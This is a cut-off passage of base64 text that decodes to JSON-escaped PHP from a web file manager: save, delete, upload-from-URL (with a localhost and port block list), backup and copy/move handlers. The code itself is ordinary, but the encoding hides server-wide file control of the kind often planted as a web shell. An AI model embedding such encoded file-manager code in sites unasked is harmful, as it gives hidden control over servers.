dGhvcml6ZWQnKTtcbiAgICAgICAgZGllKFwiSW52YWxpZCBUb2tlbi5cIik7XG4gICAgfVxuXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSBcInNlYXJjaFwiKSB7XG4gICAgICAgICRkaXIgPSAkX1BPU1RbJ3BhdGgnXSA9PSBcIi5cIiA/ICcnIDogJF9QT1NUWydwYXRoJ107XG4gICAgICAgICRyZXNwb25zZSA9IHNjYW4oZm1fY2xlYW5fcGF0aCgkZGlyKSwgJF9QT1NUWydjb250ZW50J10pO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICBpZihGTV9SRUFET05MWSl7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09IFwic2F2ZVwiKSB7XG4gICAgICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgICAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCFpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTtcbiAgICAgICAgfVxuICAgICAgICAkZmlsZSA9ICRfR0VUWydlZGl0J107XG4gICAgICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSk7XG4gICAgICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsICRmaWxlKTtcbiAgICAgICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpO1xuICAgICAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgICAgICB9XG4gICAgICAgIGhlYWRlcignWC1YU1MtUHJvdGVjdGlvbjowJyk7XG4gICAgICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICAgICAkd3JpdGVkYXRhID0gJF9QT1NUWydjb250ZW50J107XG4gICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsIFwid1wiKTtcbiAgICAgICAgJHdyaXRlX3Jlc3VsdHMgPSBAZndyaXRlKCRmZCwgJHdyaXRlZGF0YSk7XG4gICAgICAgIGZjbG9zZSgkZmQpO1xuICAgICAgICBpZiAoJHdyaXRlX3Jlc3VsdHMgPT09IGZhbHNlKSB7XG4gICAgICAgICAgICBoZWFkZXIoXCJIVFRQXC8xLjEgNTAwIEludGVybmFsIFNlcnZlciBFcnJvclwiKTtcbiAgICAgICAgICAgIGRpZShcIkNvdWxkIE5vdCBXcml0ZSBGaWxlISAtIENoZWNrIFBlcm1pc3Npb25zIFwvIE93bmVyc2hpcFwiKTtcbiAgICAgICAgfVxuICAgICAgICBkaWUodHJ1ZSk7XG4gICAgfVxuXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSBcImJhY2t1cFwiICYmICFlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkpIHtcbiAgICAgICAgJGZpbGVOYW1lID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2ZpbGUnXSk7XG4gICAgICAgICRmdWxsUGF0aCA9IEZNX1JPT1RfUEFUSCAuICdcLyc7XG4gICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwYXRoJ10pKSB7XG4gICAgICAgICAgICAkcmVsYXRpdmVEaXJQYXRoID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ3BhdGgnXSk7XG4gICAgICAgICAgICAkZnVsbFBhdGggLj0gXCJ7JHJlbGF0aXZlRGlyUGF0aH1cL1wiO1xuICAgICAgICB9XG4gICAgICAgICRkYXRlID0gZGF0ZShcImRNeS1IaXNcIik7XG4gICAgICAgICRuZXdGaWxlTmFtZSA9IFwieyRmaWxlTmFtZX0teyRkYXRlfS5iYWtcIjtcbiAgICAgICAgJGZ1bGx5UXVhbGlmaWVkRmlsZU5hbWUgPSAkZnVsbFBhdGggLiAkZmlsZU5hbWU7XG4gICAgICAgIHRyeSB7XG4gICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRmdWxseVF1YWxpZmllZEZpbGVOYW1lKSkge1xuICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oXCJGaWxlIHskZmlsZU5hbWV9IG5vdCBmb3VuZFwiKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGlmIChjb3B5KCRmdWxseVF1YWxpZmllZEZpbGVOYW1lLCAkZnVsbFBhdGggLiAkbmV3RmlsZU5hbWUpKSB7XG4gICAgICAgICAgICAgICAgZWNobyBcIkJhY2t1cCB7JG5ld0ZpbGVOYW1lfSBjcmVhdGVkXCI7XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oXCJDb3VsZCBub3QgY29weSBmaWxlIHskZmlsZU5hbWV9XCIpO1xuICAgICAgICAgICAgfVxuICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgIGVjaG8gJGUtPmdldE1lc3NhZ2UoKTtcbiAgICAgICAgfVxuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJzZXR0aW5nc1wiKSB7XG4gICAgICAgIGdsb2JhbCAkY2ZnLCAkbGFuZywgJHJlcG9ydF9lcnJvcnMsICRzaG93X2hpZGRlbl9maWxlcywgJGxhbmdfbGlzdCwgJGhpZGVfQ29scywgJHRoZW1lO1xuICAgICAgICAkbmV3TG5nID0gJF9QT1NUWydqcy1sYW5ndWFnZSddO1xuICAgICAgICBmbV9nZXRfdHJhbnNsYXRpb25zKFtdKTtcbiAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRuZXdMbmcsICRsYW5nX2xpc3QpKSB7XG4gICAgICAgICAgICAkbmV3TG5nID0gJ2VuJztcbiAgICAgICAgfVxuXG4gICAgICAgICRlcnAgPSBpc3NldCgkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddKSAmJiAkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddID09IFwidHJ1ZVwiID8gdHJ1ZSA6IGZhbHNlO1xuICAgICAgICAkc2hmID0gaXNzZXQoJF9QT1NUWydqcy1zaG93LWhpZGRlbiddKSAmJiAkX1BPU1RbJ2pzLXNob3ctaGlkZGVuJ10gPT0gXCJ0cnVlXCIgPyB0cnVlIDogZmFsc2U7XG4gICAgICAgICRoY28gPSBpc3NldCgkX1BPU1RbJ2pzLWhpZGUtY29scyddKSAmJiAkX1BPU1RbJ2pzLWhpZGUtY29scyddID09IFwidHJ1ZVwiID8gdHJ1ZSA6IGZhbHNlO1xuICAgICAgICAkdGUzID0gJF9QT1NUWydqcy10aGVtZS0zJ107XG5cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ2xhbmcnXSAhPSAkbmV3TG5nKSB7XG4gICAgICAgICAgICAkY2ZnLT5kYXRhWydsYW5nJ10gPSAkbmV3TG5nO1xuICAgICAgICAgICAgJGxhbmcgPSAkbmV3TG5nO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSAhPSAkZXJwKSB7XG4gICAgICAgICAgICAkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSA9ICRlcnA7XG4gICAgICAgICAgICAkcmVwb3J0X2Vycm9ycyA9ICRlcnA7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gIT0gJHNoZikge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSA9ICRzaGY7XG4gICAgICAgICAgICAkc2hvd19oaWRkZW5fZmlsZXMgPSAkc2hmO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddICE9ICRzaGYpIHtcbiAgICAgICAgICAgICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gPSAkc2hmO1xuICAgICAgICAgICAgJHNob3dfaGlkZGVuX2ZpbGVzID0gJHNoZjtcbiAgICAgICAgfVxuICAgICAgICBpZiAoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gIT0gJGhjbykge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gPSAkaGNvO1xuICAgICAgICAgICAgJGhpZGVfQ29scyA9ICRoY287XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ3RoZW1lJ10gIT0gJHRlMykge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsndGhlbWUnXSA9ICR0ZTM7XG4gICAgICAgICAgICAkdGhlbWUgPSAkdGUzO1xuICAgICAgICB9XG4gICAgICAgICRjZmctPnNhdmUoKTtcbiAgICAgICAgZWNobyB0cnVlO1xuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJwd2RoYXNoXCIpIHtcbiAgICAgICAgJHJlcyA9IGlzc2V0KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgJiYgIWVtcHR5KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgPyBwYXNzd29yZF9oYXNoKCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSwgUEFTU1dPUkRfREVGQVVMVCkgOiAnJztcbiAgICAgICAgZWNobyAkcmVzO1xuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJ1cGxvYWRcIiAmJiAhZW1wdHkoJF9SRVFVRVNUW1widXBsb2FkdXJsXCJdKSkge1xuICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgICAgICB9XG5cbiAgICAgICAgZnVuY3Rpb24gZXZlbnRfY2FsbGJhY2soJG1lc3NhZ2UpXG4gICAgICAgIHtcbiAgICAgICAgICAgIGdsb2JhbCAkY2FsbGJhY2s7XG4gICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRtZXNzYWdlKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGZ1bmN0aW9uIGdldF9maWxlX3BhdGgoKVxuICAgICAgICB7XG4gICAgICAgICAgICBnbG9iYWwgJHBhdGgsICRmaWxlaW5mbywgJHRlbXBfZmlsZTtcbiAgICAgICAgICAgIHJldHVybiAkcGF0aCAuIFwiXC9cIiAuIGJhc2VuYW1lKCRmaWxlaW5mby0+bmFtZSk7XG4gICAgICAgIH1cblxuICAgICAgICAkdXJsID0gIWVtcHR5KCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkgJiYgcHJlZ19tYXRjaChcInxeaHR0cChzKT86XC9cLy4rJHxcIiwgc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkpID8gc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkgOiBudWxsO1xuXG4gICAgICAgICRkb21haW4gPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9IT1NUKTtcbiAgICAgICAgJHBvcnQgPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9QT1JUKTtcbiAgICAgICAgJGtub3duUG9ydHMgPSBbMjIsIDIzLCAyNSwgMzMwNl07XG5cbiAgICAgICAgaWYgKHByZWdfbWF0Y2goXCJcL15sb2NhbGhvc3QkfF4xMjcoPzpcXC5bMC05XSspezAsMn1cXC5bMC05XSskfF4oPzowKlxcOikqPzo/MCoxJFwvaVwiLCAkZG9tYWluKSB8fCBpbl9hcnJheSgkcG9ydCwgJGtub3duUG9ydHMpKSB7XG4gICAgICAgICAgICAkZXJyID0gYXJyYXkoXCJtZXNzYWdlXCIgPT4gXCJVUkwgaXMgbm90IGFsbG93ZWRcIik7XG4gICAgICAgICAgICBldmVudF9jYWxsYmFjayhhcnJheShcImZhaWxcIiA9PiAkZXJyKSk7XG4gICAgICAgICAgICBleGl0KCk7XG4gICAgICAgIH1cblxuICAgICAgICAkdXNlX2N1cmwgPSBmYWxzZTtcbiAgICAgICAgJHRlbXBfZmlsZSA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCBcInVwbG9hZC1cIik7XG4gICAgICAgICRmaWxlaW5mbyA9IG5ldyBzdGRDbGFzcygpO1xuICAgICAgICAkZmlsZWluZm8tPm5hbWUgPSB0cmltKHVybGRlY29kZShiYXNlbmFtZSgkdXJsKSksIFwiLlxceDAwLi5cXHgyMFwiKTtcblxuICAgICAgICAkYWxsb3dlZCA9IChGTV9VUExPQURfRVhURU5TSU9OKSA/IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKSA6IGZhbHNlO1xuICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZWluZm8tPm5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpO1xuICAgICAgICAkaXNGaWxlQWxsb3dlZCA9ICgkYWxsb3dlZCkgPyBpbl9hcnJheSgkZXh0LCAkYWxsb3dlZCkgOiB0cnVlO1xuXG4gICAgICAgICRlcnIgPSBmYWxzZTtcblxuICAgICAgICBpZiAoISRpc0ZpbGVBbGxvd2VkKSB7XG4gICAgICAgICAgICAkZXJyID0gYXJyYXkoXCJtZXNzYWdlXCIgPT4gXCJGaWxlIGV4dGVuc2lvbiBpcyBub3QgYWxsb3dlZFwiKTtcbiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KFwiZmFpbFwiID0+ICRlcnIpKTtcbiAgICAgICAgICAgIGV4aXQoKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGlmICghJHVybCkge1xuICAgICAgICAgICAgJHN1Y2Nlc3MgPSBmYWxzZTtcbiAgICAgICAgfSBlbHNlIGlmICgkdXNlX2N1cmwpIHtcbiAgICAgICAgICAgIEAkZnAgPSBmb3BlbigkdGVtcF9maWxlLCBcIndcIik7XG4gICAgICAgICAgICBAJGNoID0gY3VybF9pbml0KCR1cmwpO1xuICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX05PUFJPR1JFU1MsIGZhbHNlKTtcbiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgdHJ1ZSk7XG4gICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTtcbiAgICAgICAgICAgIEAkc3VjY2VzcyA9IGN1cmxfZXhlYygkY2gpO1xuICAgICAgICAgICAgJGN1cmxfaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpO1xuICAgICAgICAgICAgaWYgKCEkc3VjY2Vzcykge1xuICAgICAgICAgICAgICAgICRlcnIgPSBhcnJheShcIm1lc3NhZ2VcIiA9PiBjdXJsX2Vycm9yKCRjaCkpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgQGN1cmxfY2xvc2UoJGNoKTtcbiAgICAgICAgICAgIGZjbG9zZSgkZnApO1xuICAgICAgICAgICAgJGZpbGVpbmZvLT5zaXplID0gJGN1cmxfaW5mb1tcInNpemVfZG93bmxvYWRcIl07XG4gICAgICAgICAgICAkZmlsZWluZm8tPnR5cGUgPSAkY3VybF9pbmZvW1wiY29udGVudF90eXBlXCJdO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgJGN0eCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgpO1xuICAgICAgICAgICAgQCRzdWNjZXNzID0gY29weSgkdXJsLCAkdGVtcF9maWxlLCAkY3R4KTtcbiAgICAgICAgICAgIGlmICghJHN1Y2Nlc3MpIHtcbiAgICAgICAgICAgICAgICAkZXJyID0gZXJyb3JfZ2V0X2xhc3QoKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuXG4gICAgICAgIGlmICgkc3VjY2Vzcykge1xuICAgICAgICAgICAgJHN1Y2Nlc3MgPSByZW5hbWUoJHRlbXBfZmlsZSwgc3RydG9rKGdldF9maWxlX3BhdGgoKSwgJz8nKSk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHN1Y2Nlc3MpIHtcbiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KFwiZG9uZVwiID0+ICRmaWxlaW5mbykpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgdW5saW5rKCR0ZW1wX2ZpbGUpO1xuICAgICAgICAgICAgaWYgKCEkZXJyKSB7XG4gICAgICAgICAgICAgICAgJGVyciA9IGFycmF5KFwibWVzc2FnZVwiID0+IFwiSW52YWxpZCB1cmwgcGFyYW1ldGVyXCIpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgZXZlbnRfY2FsbGJhY2soYXJyYXkoXCJmYWlsXCIgPT4gJGVycikpO1xuICAgICAgICB9XG4gICAgfVxuICAgIGV4aXQoKTtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydkZWwnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICAkZGVsID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsIGZtX2NsZWFuX3BhdGgoJF9HRVRbJ2RlbCddKSk7XG4gICAgaWYgKCRkZWwgIT0gJycgJiYgJGRlbCAhPSAnLi4nICYmICRkZWwgIT0gJy4nICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICAgICAgfVxuICAgICAgICAkaXNfZGlyID0gaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRkZWwpO1xuICAgICAgICBpZiAoZm1fcmRlbGV0ZSgkcGF0aCAuICdcLycgLiAkZGVsKSkge1xuICAgICAgICAgICAgJG1zZyA9ICRpc19kaXIgPyBsbmcoJ0ZvbGRlcicpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0RlbGV0ZWQnKSA6IGxuZygnRmlsZScpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0RlbGV0ZWQnKTtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAkaXNfZGlyID8gbG5nKCdGb2xkZXInKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCdub3QgZGVsZXRlZCcpIDogbG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnbm90IGRlbGV0ZWQnKTtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGZpbGUgb3IgZm9sZGVyIG5hbWUnKSwgJ2Vycm9yJyk7XG4gICAgfVxuICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ25ld2ZpbGVuYW1lJ10sICRfUE9TVFsnbmV3ZmlsZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgICR0eXBlID0gdXJsZGVjb2RlKCRfUE9TVFsnbmV3ZmlsZSddKTtcbiAgICAkbmV3ID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsIGZtX2NsZWFuX3BhdGgoc3RyaXBfdGFncygkX1BPU1RbJ25ld2ZpbGVuYW1lJ10pKSk7XG4gICAgaWYgKGZtX2lzdmFsaWRfZmlsZW5hbWUoJG5ldykgJiYgJG5ldyAhPSAnJyAmJiAkbmV3ICE9ICcuLicgJiYgJG5ldyAhPSAnLicgJiYgdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkdHlwZSA9PSBcImZpbGVcIikge1xuICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCAuICdcLycgLiAkbmV3KSkge1xuICAgICAgICAgICAgICAgIGlmIChmbV9pc192YWxpZF9leHQoJG5ldykpIHtcbiAgICAgICAgICAgICAgICAgICAgQGZvcGVuKCRwYXRoIC4gJ1wvJyAuICRuZXcsICd3Jykgb3IgZGllKCdDYW5ub3Qgb3BlbiBmaWxlOiAgJyAuICRuZXcpO1xuICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnQ3JlYXRlZCcpLCBmbV9lbmMoJG5ldykpKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJG5ldywgZmFsc2UpID09PSB0cnVlKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnQ3JlYXRlZCcpLCAkbmV3KSk7XG4gICAgICAgICAgICB9IGVsc2VpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJG5ldywgZmFsc2UpID09PSAkcGF0aCAuICdcLycgLiAkbmV3KSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0ZvbGRlcicpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ25vdCBjcmVhdGVkJyksIGZtX2VuYygkbmV3KSksICdlcnJvcicpO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJyksICdlcnJvcicpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSwgJF9HRVRbJ2ZpbmlzaCddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICAkY29weSA9IHVybGRlY29kZSgkX0dFVFsnY29weSddKTtcbiAgICAkY29weSA9IGZtX2NsZWFuX3BhdGgoJGNvcHkpO1xuICAgIGlmICgkY29weSA9PSAnJykge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnU291cmNlIHBhdGggbm90IGRlZmluZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgIH1cbiAgICAkZnJvbSA9IEZNX1JPT1RfUEFUSCAuICdcLycgLiAkY29weTtcbiAgICAkZGVzdCA9IEZNX1JPT1RfUEFUSDtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkZGVzdCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG4gICAgJGRlc3QgLj0gJ1wvJyAuIGJhc2VuYW1lKCRmcm9tKTtcbiAgICAkbW92ZSA9IGlzc2V0KCRfR0VUWydtb3ZlJ10pO1xuICAgICRtb3ZlID0gZm1fY2xlYW5fcGF0aCh1cmxkZWNvZGUoJG1vdmUpKTtcbiAgICBpZiAoJGZyb20gIT0gJGRlc3QpIHtcbiAgICAgICAgJG1zZ19mcm9tID0gdHJpbShGTV9QQVRIIC4gJ1wvJyAuIGJhc2VuYW1lKCRmcm9tKSwgJ1wvJyk7XG4gICAgICAgIGlmICgkbW92ZSkge1xuICAgICAgICAgICAgJHJlbmFtZSA9IGZtX3JlbmFtZSgkZnJvbSwgJGRlc3QpO1xuICAgICAgICAgICAgaWYgKCRyZW5hbWUpIHtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdNb3ZlZCBmcm9tJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8XC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSk7XG4gICAgICAgICAgICB9IGVsc2VpZiAoJHJlbmFtZSA9PT0gbnVsbCkge1xuICAgICAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cycpLCAnYWxlcnQnKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgbW92aW5nIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpLCAnZXJyb3InKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQ29waWVkIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8XC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBpZiAoISRtb3ZlKSB7XG4gICAgICAgICAgICAkbXNnX2Zyb20gPSB0cmltKEZNX1BBVEggLiAnXC8nIC4gYmFzZW5hbWUoJGZyb20pLCAnXC8nKTtcbiAgICAgICAgICAgICRmbl9wYXJ0cyA9IHBhdGhpbmZvKCRmcm9tKTtcbiAgICAgICAgICAgICRleHRlbnNpb25fc3VmZml4ID0gJyc7XG4gICAgICAgICAgICBpZiAoIWlzX2RpcigkZnJvbSkpIHtcbiAgICAgICAgICAgICAgICAkZXh0ZW5zaW9uX3N1ZmZpeCA9ICcuJyAuICRmbl9wYXJ0c1snZXh0ZW5zaW9uJ107XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAkZm5fZHVwbGljYXRlID0gJGZuX3BhcnRzW